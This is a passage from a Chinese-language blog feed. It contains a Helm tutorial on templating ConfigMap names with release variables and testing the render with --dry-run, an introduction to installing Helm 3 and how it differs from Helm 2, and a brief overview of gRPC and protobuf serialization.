[root@Kubernetes charts]# helm uninstall mycm
release "mycm" uninstalled
[root@Kubernetes charts]# helm list
NAME    NAMESPACE       REVISION        UPDATED STATUS  CHART   APP VERSION

案例2

需求

案例1只是简单的创建一个configmap实际和直接apply没啥区别,案例2将引入变量进行创建chart,把configmap的名称改为变量的方式进行创建。

创建实例

修改Chart:

[root@Kubernetes charts]# vim myConfigMapChart/templates/configmap.yaml 
[root@Kubernetes charts]# cat myConfigMapChart/templates/configmap.yaml 
apiVersion: v1
kind: ConfigMap
metadata:
  # name: my-cm-chart
  name: {{ .Release.Name }}-configmap
data:
  # myValue: "Hello,World"
  myValue: {{ .Values.MY_VALUE }}
[root@Kubernetes charts]# > myConfigMapChart/values.yaml
[root@Kubernetes charts]# vim myConfigMapChart/values.yaml 
[root@Kubernetes charts]# cat !$
cat myConfigMapChart/values.yaml
MY_VALUE: "Hello,World"

创建实例:

[root@Kubernetes charts]# helm install mycm2 ./myConfigMapChart/
NAME: mycm2
LAST DEPLOYED: Thu May 11 00:49:06 2023
NAMESPACE: default
STATUS: deployed
REVISION: 1
TEST SUITE: None

查看实例:

[root@Kubernetes charts]# helm list 
NAME    NAMESPACE       REVISION        UPDATED                                 STATUS          CHART                   APP VERSION
mycm2   default         1               2023-05-11 00:49:06.855993522 +0800 CST deployed        myConfigMapChart-0.1.0  1.16.0
[root@Kubernetes charts]# kubectl get cm
NAME               DATA   AGE
kube-root-ca.crt   1      77d
mycm2-configmap    1      87s

YAML解释:

apiVersion: v1
kind: ConfigMap
metadata:
  # name: my-cm-chart
  name: {{ .Release.Name }}-configmap
data:
  # myValue: "Hello,World"
  myValue: {{ .Values.MY_VALUE }}
  • {{ .Release.Name }}-configmap
    最前面的.从作用域最顶层命名空间开始,即:在顶层命名空间中开始寻找Release对象,再查找Name对象。这个就是通过内置对象获取内置对象的变量值(Release的名称)作为拼接成ConfigMap的名字。
  • {{ .Values.MY_VALUE }}
    这个是其他变量会去values.yaml文件中寻找对应的变量

引用内置对象或其他变量的好处:
如果metadata.name中色湖之的值就是一个固定值,这样的模板是无法在k8s中多次部署的,所以我们可以试着在每次安装chart时,都自动metadata.name的设置为release的名称,因为每次部署release的时候实例名称是不一样的,这样部署的时候里面的资源名也就可以作为一个分区,而可以进行重复部署。

测试渲染

HELM提供了一个用来渲染模板的命令,该命令可以将模板内容渲染出来,但是不会进行任何安装的操作。可以用该命令来测试模板渲染的内容是否正确。语法如下:

helm install [release实例名] chart目录 --debug --dry-run

例:

[root@Kubernetes charts]# helm install mycm3 ./myConfigMapChart/ --debug --dry-run
install.go:200: [debug] Original chart version: ""
install.go:217: [debug] CHART PATH: /root/charts/myConfigMapChart

NAME: mycm3
LAST DEPLOYED: Thu May 11 01:03:15 2023
NAMESPACE: default
STATUS: pending-install
REVISION: 1
TEST SUITE: None
USER-SUPPLIED VALUES:
{}

COMPUTED VALUES:
MY_VALUE: Hello,World

HOOKS:
MANIFEST:
---
# Source: myConfigMapChart/templates/configmap.yaml
apiVersion: v1
kind: ConfigMap
metadata:
  # name: my-cm-chart
  name: mycm3-configmap 
data:
  # myValue: "Hello,World"
  myValue: Hello,World
[root@Kubernetes charts]# helm list
NAME    NAMESPACE       REVISION        UPDATED                                 STATUS          CHART                   APP VERSION
]]>
0 https://blog.boychai.xyz/index.php/archives/57/#comments https://blog.boychai.xyz/index.php/feed/
HELM-Kubernetes包管理工具(介绍与安装) https://blog.boychai.xyz/index.php/archives/56/ https://blog.boychai.xyz/index.php/archives/56/ Sat, 13 May 2023 01:27:00 +0000 BoyChai 传统部署方式

传统服务部署到K8s集群的流程:
拉取代码-----》打包编译-----》构建镜像-----》准备相关的yaml文件-----》kubectl apply进行部署

传统方式部署引发的问题:

  1. 随着引用的增多,需要维护大量的yaml文件
  2. 不能根据一套yaml文件来创建多个环境,需要手动进行修改。
    PS: 一般环境都分为dev、预生产、生产环境,部署完了dev这套环境,后面再部署预生产和生产环境,还需要复制出两套,并手动修改才行。

什么是HELM

Helm是K8s的包管理工具,可以方便地发现、共享和构建K8s应用
Helm是k8s的包管理器,相当于centos系统中的yum工具,可以将一个服务相关的所有资源信息整合到一个chart中,并且可以使用一套资源发布到多个环境中,可以将应用程序的所有资源和部署信息组合到单个部署包中。
就像Linux下的rpm包管理器,如yum/apt等,可以很方便的将之前打包好的yaml文件部署到k8s上。

HELM的组件

  1. Chart:就是helm的一个整合后的chart包,包含一个应用所有的K8s声明模板,类似于yum的rpm包或者apt的dpkg文件。helm将打包的应用程序部署到k8s并将它们构成chart。这些chart将所有预配置的应用程序资源以及所有版本都包含再一个已于管理的包中。
  2. HELM客户端:helm的客户端组件,负责和K8s apiserver通信
  3. Repository:用于发布和存储chart包的仓库,类似yum仓库和docker仓库。
  4. Release:用chart包部署的一个实例。通过chart在K8s中部署的应用都会产生一个唯一的Release,统一chart部署多次就会产生多个Release。

HELM2和HELM3

  1. helm3移除了Tiller组件 helm2中helm客户端和K8s通信时通过Tiller组件和K8s通信,helm3移除了Tiller组件,直接使用kubeconfig文件和K8s apiserver通信。
  2. 删除release命令变更
    helm delete release-name --purge --------》 helm uninstall release-name
  3. 查看charts信息命令变更
    helm inspect release-name -------》 helm show chart-name
  4. 拉取charts包命令变更
    helm fetch chart-name -------》 helm pull chart-name
  5. helm3中必须指定release名称,如果需要生成一个随机名称,需要加选项--generate-name,helm2中如果不指定release名称,可以自动生成一个随机名称
    helm install ./mychart --generate-name

    安装HELM

    相关连接:
    Github:https://github.com/helm/helm/releases
    官网:https://helm.sh/zh/docs/intro/install/

下载好对应的版本上传到服务器进行解压缩

[root@Kubernetes helm]# ls
helm-v3.11.3-linux-amd64.tar.gz
[root@Kubernetes helm]# tar xvf helm-v3.11.3-linux-amd64.tar.gz 
linux-amd64/
linux-amd64/LICENSE
linux-amd64/README.md
linux-amd64/helm

之后配置一下系统环境,让命令可以在系统中随机调用

[root@Kubernetes helm]# ls
helm-v3.11.3-linux-amd64.tar.gz  linux-amd64
[root@Kubernetes helm]# cd linux-amd64/
[root@Kubernetes linux-amd64]# pwd
/opt/helm/linux-amd64
[root@Kubernetes linux-amd64]# vim /etc/profile
#追加下面内容
export PATH=$PATH:/opt/helm/linux-amd64
[root@Kubernetes linux-amd64]# source /etc/profile

检查一下是否安装成功

[root@Kubernetes ~]# helm version
version.BuildInfo{Version:"v3.11.3", GitCommit:"323249351482b3bbfc9f5004f65d400aa70f9ae7", GitTreeState:"clean", GoVersion:"go1.20.3"}
]]>
0 https://blog.boychai.xyz/index.php/archives/56/#comments https://blog.boychai.xyz/index.php/feed/
[Go]gRPC-介绍 https://blog.boychai.xyz/index.php/archives/55/ https://blog.boychai.xyz/index.php/archives/55/ Tue, 09 May 2023 14:54:00 +0000 BoyChai gRPC是一款语言中立、平台中立、开源的远程过程调用系统,gRPC客户端和服务端可以在多种环境中运行和交互。,例如用java写一个服务端,可以用go语言写客户端调用。

数据在进行网络传输的时候,需要进行序列化,序列化协议有很多种,比如xml、json、protobuf等。

gRPC默认应用使用protocol buffers,这是google开源的一套成熟的结构数据序列化机制。

序列化: 将数据结构或对象转换成二进制串的过程。

反序列化: 将在虚拟化过程中所生产的二进制串转换成数据结构或对象的过程。

参考资料

]]>
0 https://blog.boychai.xyz/index.php/archives/55/#comments https://blog.boychai.xyz/index.php/feed/